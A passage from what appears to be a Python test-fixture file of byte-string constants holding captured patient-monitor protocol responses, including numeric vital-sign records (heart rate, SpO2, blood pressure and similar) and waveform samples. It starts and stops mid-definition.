b"\x1f\xfc\x1f\xfc\x1f\xfc\x1f\xfc\x1f\xfc\x1f\xfc\x1f\xfb\x1f\xfb" \
b"\x1f\xfb\x1f\xfb\x1f\xfb\x1f\xfb\x1f\xfb\x1f\xfb\x1f\xfc\x1f\xfc" \
b"\x1f\xfc\x1f\xfc\x1f\xfc\x1f\xfc\x1f\xfc\x1f\xfc\x1f\xfc\x1f\xfc" \
b"\x1f\xfc\x1f\xfb\x1f\xfb\x1f\xfb\x1f\xfb\x1f\xfb\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfc\x1f\xfc\x1f\xfc\x1f\xfc\x1f\xfc\x1f\xfe\x1f\xfe" \
b"\x1f\xfe\x1f\xfe\x1f\xfe\x1f\xfe\x1f\xfe\x1f\xfe\x1f\xfe\x1f\xfe" \
b"\x1f\xfe\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xfe\x1f\xfe\x1f\xfe\x1f\xfe\x1f\xfe\x20\x00\x20\x00" \
b"\x20\x00\x20\x00\x20\x00\x20\x00\x20\x00\x20\x00\x20\x00\x20\x00" \
b"\x20\x00\x1f\xff\x1f\xff\x1f\xff\x20\x00\x1f\xff\x1f\xff\x1f\xfe" \
b"\x1f\xfd\x1f\xfc\x1f\xfc\x1f\xfb\x1f\xfb\x1f\xfb\x1f\xfa\x1f\xf9" \
b"\x1f\xfa\x1f\xf9\x1f\xfa\x1f\xf9\x1f\xf8\x1f\xf7\x1f\xf8\x1f\xf7" \
b"\x1f\xf8\x1f\xf7\x1f\xf8\x1f\xf7\x1f\xf6\x1f\xf7\x1f\xf6\x1f\xf7" \
b"\x1f\xf6\x08\x11\x00\x01\x01\x0a\x09\x6e\x01\x06\x01\x3d\x04\x00" \
b"\x01\x00\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xef\x1f\xf1\x1f\xf1" \
b"\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xf3\x1f\xf3" \
b"\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3" \
b"\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3" \
b"\x1f\xf3\x1f\xf5\x1f\xf5\x1f\xf5\x1f\xf5\x1f\xf5\x1f\xf3\x1f\xf3" \
b"\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3" \
b"\x1f\xf3\x1f\xf5\x1f\xf5\x1f\xf5\x1f\xf5\x1f\xf5\x1f\xf3\x1f\xf3" \
b"\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3" \
b"\x1f\xf3\x1f\xf5\x1f\xf5\x1f\xf5\x1f\xf5\x1f\xf5\x1f\xf3\x1f\xf3" \
b"\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3" \
b"\x1f\xf3\x1f\xf5\x1f\xf5\x1f\xf5\x1f\xf5\x1f\xf5\x1f\xf3\x1f\xf3" \
b"\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3" \
b"\x1f\xf3\x1f\xf5\x1f\xf5\x1f\xf5\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3" \
b"\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xf1" \
b"\x1f\xef\x1f\xef\x1f\xed\x1f\xed\x1f\xed\x1f\xed\x1f\xeb\x1f\xeb" \
b"\x1f\xe9\x1f\xe9\x1f\xe7\x1f\xe7\x1f\xe7\x1f\xe5\x1f\xe5\x1f\xe3" \
b"\x1f\xe3\x07\x8e\x00\x01\x00\x4a\x09\x6e\x00\x46\x4b\xb4\x04\x00" \
b"\x00\x40\x07\xc9\x07\x99\x07\x6b\x07\x40\x07\x18\x06\xf3\x06\xd2" \
b"\x06\xb3\x06\x97\x06\x7f\x06\x69\x06\x57\x06\x47\x06\x3a\x06\x2f" \
b"\x06\x27\x06\x21\x06\x1d\x06\x1a\x06\x19\x06\x19\x06\x1a\x06\x1b" \
b"\x06\x1d\x06\x1e\x06\x20\x06\x20\x06\x20\x06\x1f\x06\x1d\x06\x1a" \
b"\x06\x15"
rsp_nu_9_no_1 = \
b"\xe1\x00\x00\x02\x00\x05" \
b"\x04\x1c\x01\x01\x00\x01\x00\x07\x04\x14\x00\x21\x00\x00\x00\x00" \
b"\xf1\x3b\x04\x0a\x00\x01\x00\x00\x0e\x80\xaf\x00\xff\xff\xff\xff" \
b"\xff\xff\xff\xff\x00\x01\x00\x06\x00\x00\x00\x01\x03\xf0\x00\x00" \
b"\x00\x0a\x03\xea\x86\x3f\x00\x07\x00\x46\x09\x21\x00\x02\x86\x3f" \
b"\x09\x2f\x00\x04\x00\x01\x00\x06\x09\x3f\x00\x0c\x00\x00\x20\x00" \
b"\x00\x01\x42\x28\x00\x00\x00\x00\x09\x24\x00\x04\x00\x02\x58\x04" \
b"\x09\x27\x00\x10\x00\x0e\x00\x43\x00\x50\x00\x50\x00\x20\x00\x20" \
b"\x00\x20\x00\x00\x09\x17\x00\x02\x03\x00\x09\x11\x00\x02\x00\x05" \
b"\x86\x58\x00\x07\x00\x46\x09\x21\x00\x02\x86\x58\x09\x2f\x00\x04" \
b"\x00\x01\x00\x06\x09\x3f\x00\x0c\x00\x00\x20\x00\x00\x01\x42\x28" \
b"\x00\x00\x00\x00\x09\x24\x00\x04\x00\x02\xe0\x18\x09\x27\x00\x10" \
b"\x00\x0e\x03\x94\x6e\x29\xfe\xff\x5e\xa6\xfe\xff\x00\x20\x00\x00" \
b"\x09\x17\x00\x02\x03\x01\x09\x11\x00\x02\x00\x02\x87\x8c\x00\x09" \
b"\x00\x5a\x09\x21\x00\x02\x87\x8c\x09\x2f\x00\x04\x00\x01\x00\x06" \
b"\x09\x3f\x00\x0c\x00\x00\x20\x00\x00\x01\x42\x28\x00\x00\x00\x00" \
b"\x09\x24\x00\x04\x00\x02\x4b\xb8\x09\x27\x00\x10\x00\x0e\x00\x53" \
b"\x00\x70\x00\x4f\x20\x82\x00\x20\x00\x20\x00\x00\x09\x17\x00\x02" \
b"\x03\x00\x09\x11\x00\x02\x00\x06\xf0\x08\x00\x02\x06\xd1\x09\x50" \
b"\x00\x0a\x4b\xb8\x04\x00\x02\x20\xff\x00\x03\xb6\x87\x92\x00\x07" \
b"\x00\x4e\x09\x21\x00\x02\x87\x92\x09\x2f\x00\x04\x00\x01\x00\x06" \
b"\x09\x3f\x00\x0c\x00\x00\x20\x00\x00\x01\x42\x28\x00\x00\x00\x00" \
b"\x09\x24\x00\x04\x00\x02\x48\x22\x09\x27\x00\x10\x00\x0e\x81\x09" \
b"\xfe\xff\x64\x0f\xfe\xff\x00\x20\x00\x20\x00\x00\x09\x11\x00\x02" \
b"\x00\x06\x09\x50\x00\x0a\x48\x22\x04\x01\x0a\xa0\x00\x00\x00\x3c" \
b"\x87\x96\x00\x08\x00\x54\x09\x21\x00\x02\x87\x96\x09\x2f\x00\x04" \
b"\x00\x01\x00\x06\x09\x3f\x00\x0c\x00\x00\x20\x00\x00\x01\x42\x28" \
b"\x00\x00\x00\x00\x09\x24\x00\x04\x00\x02\x4b\xb0\x09\x27\x00\x10" \
b"\x00\x0e\x70\x4c\xfe\xff\x6c\xe8\xfe\xff\x00\x20\x00\x20\x00\x00" \
b"\x09\x17\x00\x02\x02\x01\x09\x11\x00\x02\x00\x06\x09\x50\x00\x0a" \
b"\x4b\xb0\x04\x00\x02\x00\xff\x00\x00\x64\x87\xe6\x00\x0a\x00\x82" \
b"\x09\x21\x00\x02\x87\xe6\x09\x2f\x00\x04\x00\x01\x00\x06\x09\x3f" \
b"\x00\x0c\x00\x00\x20\x00\x00\x01\x52\x28\x01\x03\x00\x00\x09\x24" \
b"\x00\x04\x00\x02\x4a\x04\x09\x27\x00\x10\x00\x0e\x00\x4e\x00\x42" \
b"\x00\x50\x00\x20\x00\x20\x00\x20\x00\x00\x09\x11\x00\x02\x00\x01" \
b"\x09\x90\x00\x08\x20\x19\x03\x21\x16\x30\x43\x00\xf2\x37\x00\x04" \
b"\xff\xff\xff\xff\xf9\x98\x00\x04\xff\xff\xff\xff\x09\x4b\x00\x22" \
b"\x00\x03\x00\x1e\x4a\x05\x20\x00\x0f\x20\x00\x7f\xff\xff\x4a\x06" \
b"\x20\x00\x0f\x20\x00\x7f\xff\xff\x4a\x07\x20\x00\x0f\x20\x00\x7f" \
b"\xff\xff\x87\xe9\x00\x0a\x00\x68\x09\x21\x00\x02\x87\xe9\x09\x2f" \
b"\x00\x04\x00\x01\x00\x06\x09\x3f\x00\x0c\x00\x00\x20\x00\x00\x01" \
b"\x52\x28\x00\x01\x00\x00\x09\x24\x00\x04\x00\x02\xf0\xe5\x09\x27" \
b"\x00\x10\x00\x0e\x81\x09\xfe\xff\x64\x0f\xfe\xff\x00\x20\x00\x20" \
b"\x00\x00\x09\x17\x00\x02\x03\x00\x09\x11\x00\x02\x00\x01\x09\x90" \
b"\x00\x08\x20\x19\x03\x21\x16\x30\x43\x00\xf9\x98\x00\x04\xff\xff" \
b"\xff\xff\x09\x50\x00\x0a\xf0\xe5\x20\x00\x0a\xa0\x00\x7f\xff\xff" \
b"\x88\x16\x00\x07\x00\x4e\x09\x21\x00\x02\x88\x16\x09\x2f\x00\x04" \
b"\x00\x01\x00\x06\x09\x3f\x00\x0c\x00\x00\x20\x00\x00\x01\x42\x28" \
b"\x00\x00\x00\x00\x09\x24\x00\x04\x00\x02\x41\x82\x09\x27\x00\x10" \
b"\x00\x0e\x00\x48\x00\x52\x00\x20\x00\x20\x00\x20\x00\x20\x00\x00" \
b"\x09\x11\x00\x02\x00\x02\x09\x50\x00\x0a\x41\x82\x04\x00\x0a\xa0" \
b"\x00\x00\x00\x3c\x88\x1d\x00\x07\x00\x4e\x09\x21\x00\x02\x88\x1d" \
b"\x09\x2f\x00\x04\x00\x01\x00\x06\x09\x3f\x00\x0c\x00\x00\x20\x00" \
b"\x00\x01\x42\x28\x00\x00\x00\x00\x09\x24\x00\x04\x00\x02\x50\x0a" \
b"\x09\x27\x00\x10\x00\x0e\x00\x52\x00\x52\x00\x20\x00\x20\x00\x20" \
b"\x00\x20\x00\x00\x09\x11\x00\x02\x00\x03\x09\x50\x00\x0a\x50\x0a" \
b"\x04\x00\x0a\xe0\x00\x00\x00\x0f\x88\x22\x00\x08\x00\xa0\x09\x21" \
b"\x00\x02\x88\x22\x09\x2f\x00\x04\x00\x01\x00\x06\x09\x3f\x00\x0c" \
b"\x00\x00\x20\x00\x00\x01\x42\x28\x01\x0c\x00\x00\x09\x24\x00\x04" \
b"\x00\x02\x03\x00\x09\x27\x00\x10\x00\x0e\x00\x53\x00\x54\x00\x20" \
b"\x00\x20\x00\x20\x00\x20\x00\x00\x09\x11\x00\x02\x00\x02\x09\x4b" \
b"\x00\x54\x00\x08\x00\x50\x03\x01\x84\x00\x05\x12\x00\x7f\xff\xff" \
b"\x03\x02\x84\x00\x05\x12\x00\x7f\xff\xff\x03\x3d\x84\x00\x05\x12" \
b"\x00\x7f\xff\xff\x03\x3e\x84\x00\x05\x12\x00\x7f\xff\xff\x03\x3f" \
b"\x84\x00\x05\x12\x00\x7f\xff\xff\x03\x40\x84\x00\x05\x12\x00\x7f" \
b"\xff\xff\x03\x04\x84\x00\x05\x12\x00\x7f\xff\xff\x03\x07\x84\x00" \
b"\x05\x12\x00\x7f\xff\xff\x09\x91\x00\x04\x0e\x7e\xf0\x00"
rsp_nu_9_no_2 = \
b"\xe1\x00\x00\x02\x00\x05" \
b"\x02\x50\x03\x02\x00\x01\x00\x07\x02\x48\x00\x21\x00\x00\x00\x00" \
b"\xf1\x3b\x02\x3e\x00\x01\x00\x00\x0e\x80\xaf\x00\xff\xff\xff\xff" \
b"\xff\xff\xff\xff\x00\x01\x00\x06\x00\x00\x00\x01\x02\x24\x00\x00" \
b"\x00\x09\x02\x1e\x88\x28\x00\x03\x00\x1e\x09\x21\x00\x02\x88\x28" \
b"\x09\x2f\x00\x04\x00\x01\x00\x06\x09\x3f\x00\x0c\x00\x00\x20\x00" \
b"\x00\x01\x24\x00\x01\x0c\x00\x80\x88\x2a\x00\x06\x00\x40\x09\x21" \
b"\x00\x02\x88\x2a\x09\x2f\x00\x04\x00\x01\x00\x06\x09\x3f\x00\x0c" \
b"\x00\x00\x20\x00\x00\x05\x42\x28\x00\x00\x00\x00\x09\x24\x00\x04" \
b"\x00\x02\xf0\x3d\x09\x27\x00\x10\x00\x0e\x00\x53\x00\x54\x63\x07" \
b"\xfe\xff\x65\x70\xfe\xff\x00\x00\x09\x11\x00\x02\x00\x02\x88\x2f" \
b"\x00\x07\x00\x4e\x09\x21\x00\x02\x88\x2f\x09\x2f\x00\x04\x00\x01" \
b"\x00\x06\x09\x3f\x00\x0c\x00\x00\x20\x00\x00\x01\x42\x28\x00\x00" \
b"\x00\x00\x09\x24\x00\x04\x00\x02\x42\x61\x09\x27\x00\x10\x00\x0e" \
b"\x00\x50\x00\x56\x00\x43\x00\x20\x00\x20\x00\x20\x00\x00\x09\x11" \
b"\x00\x02\x00\x02\x09\x50\x00\x0a\x42\x61\x04\x00\x0a\xa0\x00\x00" \
b"\x00\x00\x88\x3c\x00\x06\x00\x40\x09\x21\x00\x02\x88\x3c\x09\x2f" \
b"\x00\x04\x00\x01\x00\x06\x09\x3f\x00\x0c\x00\x00\x20\x00\x00\x01" \
b"\x42\x28\x00\x00\x00\x00\x09\x24\x00\x04\x00\x02\x3f\x20\x09\x27" \
b"\x00\x10\x00\x0e\x00\x51\x00\x54\x00\x20\x00\x20\x00\x20\x00\x20" \
b"\x00\x00\x09\x11\x00\x02\x00\x02\x88\x3e\x00\x06\x00\x40\x09\x21" \
b"\x00\x02\x88\x3e\x09\x2f\x00\x04\x00\x01\x00\x06\x09\x3f\x00\x0c" \
b"\x00\x00\x20\x00\x00\x01\x42\x28\x00\x00\x00\x00\x09\x24\x00\x04" \
b"\x00\x02\x3f\x24\x09\x27\x00\x10\x00\x0e\x00\x51\x00\x54\x00\x63" \
b"\x00\x20\x00\x20\x00\x20\x00\x00\x09\x11\x00\x02\x00\x02\x88\x40" \
b"\x00\x06\x00\x40\x09\x21\x00\x02\x88\x40\x09\x2f\x00\x04\x00\x01" \
b"\x00\x06\x09\x3f\x00\x0c\x00\x00\x20\x00\x00\x01\x42\x28\x00\x00" \
b"\x00\x00\x09\x24\x00\x04\x00\x02\xf1\x56\x09\x27\x00\x10\x00\x0e" \
b"\x03\x94\x00\x51\x00\x54\x00\x63\x00\x20\x00\x20\x00\x00\x09\x11" \
b"\x00\x02\x00\x02\x88\x42\x00\x06\x00\x40\x09\x21\x00\x02\x88\x42" \
b"\x09\x2f\x00\x04\x00\x01\x00\x06\x09\x3f\x00\x0c\x00\x00\x20\x00" \
b"\x00\x01\x42\x28\x00\x00\x00\x00\x09\x24\x00\x04\x00\x02\xf1\x54" \
b"\x09\x27\x00\x10\x00\x0e\x00\x51\x00\x54\x00\x2d\x00\x48\x00\x52" \
b"\x00\x20\x00\x00\x09\x11\x00\x02\x00\x02\x88\x46\x00\x03\x00\x1e" \
b"\x09\x21\x00\x02\x88\x46\x09\x2f\x00\x04\x00\x01\x00\x06\x09\x3f" \
b"\x00\x0c\x00\x00\x20\x00\x00\x01\x24\x00\x00\x00\x00\x80\x88\x48" \
b"\x00\x03\x00\x1e\x09\x21\x00\x02\x88\x48\x09\x2f\x00\x04\x00\x01" \
b"\x00\x06\x09\x3f\x00\x0c\x00\x00\x20\x00\x00\x01\x24\x00\x00\x00" \
b"\x00\x80"
rsp_nu_9_no_3 = \
b"\xe1\x00\x00\x02\x00\x02" \
b"\x00\x2a\x00\x01\x00\x07\x00\x24\x00\x21\x00\x00\x00\x00\xf1\x3b" \
b"\x00\x1a\x00\x01\x00\x00\x0e\x80\xaf\x00\xff\xff\xff\xff\xff\xff" \
b"\xff\xff\x00\x01\x00\x06\x00\x00\x00\x00\x00\x00"
rsp_wave_9_no_1 = \
b"\xe1\x00\x00\x02\x00\x02" \
b"\x04\x58\x00\x04\x00\x07\x04\x52\x00\x21\x00\x00\x00\x00\xf1\x3b" \
b"\x04\x48\x00\x03\x00\x00\x0e\x80\x80\x00\xff\xff\xff\xff\xff\xff" \
b"\xff\xff\x00\x01\x00\x09\x00\x00\x00\x01\x04\x2e\x00\x00\x00\x04" \
b"\x04\x28\x08\x11\x00\x01\x01\x0a\x09\x6e\x01\x06\x01\x02\x04\x00" \
b"\x01\x00\x1f\xd9\x1f\xd8\x1f\xd8\x1f\xd7\x1f\xd6\x1f\xd5\x1f\xd4" \
b"\x1f\xd3\x1f\xd2\x1f\xd1\x1f\xd0\x1f\xd0\x1f\xd0\x1f\xd1\x1f\xd3" \
b"\x1f\xd4\x1f\xd5\x1f\xd7\x1f\xd8\x1f\xd9\x1f\xdb\x1f\xdc\x1f\xde" \
b"\x1f\xdf\x1f\xe0\x1f\xe2\x1f\xe3\x1f\xe4\x1f\xe5\x1f\xe7\x1f\xe8" \
b"\x1f\xe9\x1f\xeb\x1f\xec\x1f\xed\x1f\xee\x1f\xf0\x1f\xf1\x1f\xf2" \
b"\x1f\xf3\x1f\xf4\x1f\xf5\x1f\xf7\x1f\xf8\x1f\xfa\x1f\xfb\x1f\xfc" \
b"\x1f\xfc\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x08\x11\x00\x01\x01\x0a\x09\x6e\x01\x06\x01\x01\x04\x00" \
b"\x01\x00\x1f\xf5\x1f\xf6\x1f\xf4\x1f\xf5\x1f\xf4\x1f\xf5\x1f\xf4" \
b"\x1f\xf5\x1f\xf4\x1f\xf5\x1f\xf6\x1f\xf6\x1f\xf6\x1f\xf7\x1f\xf5" \
b"\x1f\xf6\x1f\xf7\x1f\xf7\x1f\xf8\x1f\xf9\x1f\xf7\x1f\xf8\x1f\xf8" \
b"\x1f\xf9\x1f\xfa\x1f\xfa\x1f\xf9\x1f\xfa\x1f\xfb\x1f\xfb\x1f\xfc" \
b"\x1f\xfb\x1f\xfb\x1f\xfc\x1f\xfd\x1f\xfe\x1f\xfe\x1f\xfd\x1f\xfe" \
b"\x1f\xff\x20\x00\x1f\xff\x1f\xff\x20\x00\x20\x00\x1f\xff\x1f\xfe" \
b"\x20\x00\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x08\x11\x00\x10\x01\xb2\x09\x21\x00\x02\x08\x11\x09\x2f" \
b"\x00\x04\x00\x01\x00\x09\x09\x3f\x00\x0c\x00\x00\x08\x00\x00\x01" \
b"\x42\x80\x00\x00\x00\x00\x09\x6d\x00\x06\x00\x80\x10\x0e\x30\x00" \
b"\x0a\x16\x00\x14\x00\x04\x00\x10\x00\x04\x80\x08\x00\x03\x40\x01" \
b"\x00\x02\x80\x04\x00\x05\x40\x02\x09\x8d\x00\x04\x00\x00\x00\x10" \
b"\x09\x24\x00\x04\x00\x02\x01\x3d\x09\x27\x00\x10\x00\x0e\x00\x49" \
b"\x00\x49\x00\x49\x00\x20\x00\x20\x00\x20\x00\x00\x09\x96\x00\x02" \
b"\x10\xb2\x09\x45\x00\x02\x02\x40\x09\x11\x00\x02\x00\x02\x09\x40" \
b"\x00\x02\x00\x00\x09\x6f\x00\x0c\xfe\xff\xf0\x00\xfd\x00\x9f\xfb" \
b"\x00\x00\x3f\xff\x09\x64\x00\x10\x00\x00\x00\x00\x00\x00\x00\x01" \
b"\x1f\xca\x20\x92\x00\x00\x00\x00\x09\x6a\x00\x04\x1e\x9e\x21\xbe" \
b"\x09\x6e\x01\x06\x01\x3d\x04\x00\x01\x00\x1f\xe3\x1f\xe1\x1f\xe3" \
b"\x1f\xe1\x1f\xe1\x1f\xdf\x1f\xdf\x1f\xdd\x1f\xdd\x1f\xdb\x1f\xd9" \
b"\x1f\xd9\x1f\xd9\x1f\xd9\x1f\xdd\x1f\xdd\x1f\xdd\x1f\xdf\x1f\xdf" \
b"\x1f\xdf\x1f\xe3\x1f\xe3\x1f\xe5\x1f\xe5\x1f\xe5\x1f\xe7\x1f\xe9" \
b"\x1f\xe9\x1f\xe9\x1f\xeb\x1f\xeb\x1f\xed\x1f\xef\x1f\xef\x1f\xef" \
b"\x1f\xef\x1f\xf1\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf5\x1f\xf7" \
b"\x1f\xf7\x1f\xf9\x1f\xfb\x1f\xfd\x1f\xfb\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x07\x8e\x00\x01\x00\x4a" \
b"\x09\x6e\x00\x46\x4b\xb4\x04\x00\x00\x40\x06\x0e\x06\x05\x05\xfb" \
b"\x05\xef\x05\xe0\x05\xd0\x05\xbe\x05\xab\x05\x95\x05\x7f\x05\x66" \
b"\x05\x4d\x05\x33\x05\x18\x04\xfc\x04\xe1\x04\xc6\x04\xab\x04\x91" \
b"\x04\x78\x04\x60\x04\x4b\x04\x37\x04\x26\x04\x18\x04\x0d\x04\x05" \
b"\x04\x01\x04\x00\x04\x04\x04\x0b\x04\x18"
rsp_wave_9_no_2 = \
b"\xe1\x00\x00\x02\x00\x02" \
b"\x03\xb0\x00\x04\x00\x07\x03\xaa\x00\x21\x00\x00\x00\x00\xf1\x3b" \
b"\x03\xa0\x00\x03\x00\x01\x0e\x80\x88\x00\xff\xff\xff\xff\xff\xff" \
b"\xff\xff\x00\x01\x00\x09\x00\x00\x00\x01\x03\x86\x00\x00\x00\x04" \
b"\x03\x80\x08\x11\x00\x01\x01\x0a\x09\x6e\x01\x06\x01\x02\x04\x00" \
b"\x01\x00\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x08\x11\x00\x01\x01\x0a\x09\x6e\x01\x06\x01\x01\x04\x00" \
b"\x01\x00\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
